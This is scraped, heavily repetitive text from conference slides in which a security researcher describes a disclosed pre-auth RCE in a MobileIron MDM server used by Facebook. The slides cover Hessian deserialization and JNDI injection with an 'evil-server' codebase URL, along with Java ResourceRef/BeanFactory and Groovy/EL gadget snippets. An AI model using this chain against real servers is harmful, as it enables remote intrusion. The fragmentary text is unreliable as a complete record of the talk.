How I Hacked facebook Again! by
Orange Tsai
How I Hacked facebook Again! by Orange Tsai Orange Tsai Principal - - PowerPoint PPT Presentation
How I Hacked facebook Again! by Orange Tsai Orange Tsai Principal security researcher at DEVCORE Captain of HITCON CTF team 0day researcher, focusing on Web/Application security orange_8361 Infiltrating Corporate Intranet Like NSA
Orange Tsai
Web/Application security
Pre-auth RCE on Leading SSL VPNs
Orange Tsai (@orange_8361) Meh Chang (@mehqq_)
USA 2019
所有漏洞皆經過 合·法·流·程 回報並且 修·復·完·成
https://www.manageengine.com/products/desktop-central/images/MDM_features.png
VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine
VMWare AirWatch MobileIron Microsoft Intune Trend Micro Mobile Security IBM MaaS 360 Jamf Pro Citrix XenMobi Apple DEP/Profile Manager Sophos Mobile Control ManageEngine
4. Facebook 有在使用!
痛苦。
Tomcat
MI Server 443/8443 Apache 9997 MI Protocol Reverse Proxy TLS Proxy
1. 該防的都有防
Tomcat
MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache
Tomcat
MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache
Tomcat
MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache
Tomcat
MI Server Reverse Proxy TLS Proxy 443 Apache 9997 MI Protocol 8443 Apache
RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services
RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services
RewriteRule ^/mifs/services/(.*)$ … [R=307,L] RewriteRule ^/mifs/services
Gad adget et Name me Effect ect Spring-AOP JNDI Injection XBean JNDI Injection Resin JNDI Injection ROME RCE
Java 提供的 API 介面, 方便開發者 動·態·存·取 物件
jdbc:mysql://localhost:3306/database
Pawn Storm (APT28, Fancy Bear)
1. Hessian Deserialization triggers:
URLCodeBase=http://evil-server/
Payload
Hacker MobileIron Evil Server
1 5 3 2
LDAP Connection JNDI Reference HTTP Connection Evil Class
4
in Oct 2018 (CVE-2018-3149)
1. Hessian Deserialization triggers:
URLCodeBase=http://evil-server/
Hacker MobileIron Evil Server
1 5 3 2 4
Payload LDAP Connection JNDI Reference HTTP Connection Evil Class
1. Hessian Deserialization triggers:
URLCodeBase=http://evil-server/
Hacker MobileIron Evil Server
1 5 3 2 4
Payload LDAP Connection JNDI Reference HTTP Connection Evil Class
1. Hessian Deserialization triggers:
URLCodeBase=http://evil-server/
Hacker MobileIron Evil Server
1 5 3 2 4
Payload LDAP Connection JNDI Reference HTTP Connection Evil Class
1. Hessian Deserialization triggers:
URLCodeBase=http://evil-server/
Hacker MobileIron Evil Server
1 5 3 2 4
Payload LDAP Connection JNDI Reference HTTP Connection Evil Class
ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new StringRefAddr("name", "orange"));
ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setName")); ref.add(new StringRefAddr("name", "orange"));
ResourceRef ref = new ResourceRef( "tw.orange.User", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "name=setUsername")); ref.add(new StringRefAddr("name", "orange"));
javax.el.ELProcessor().eval("evil…")
groovy.lang.GroovyClassLoader().parseClass("…")
https://github.com/welk1n/JNDI-Injection-Bypass/pull/1
New Groovy chain! Work on all versions
1. Hessian Deserialization triggers:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection ??????
1. Hessian Deserialization triggers:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory Object Reference
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory
3 4
Object Reference
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory
3 4
Object Reference
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory
3 4
Object Reference
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload RMI Connection Local Factory
3 4
Object Reference
1. Hessian Deserialization triggers:
Groovy.shell.GroovyShell with properties:
Hacker MobileIron Evil Server
1 2
Payload LDAP Connection Local Factory
3 4
Object Reference
triggers:
Hacker MobileIron
1
Payload
https://youtu.be/hGTLIIOb14A
https://blog.orange.tw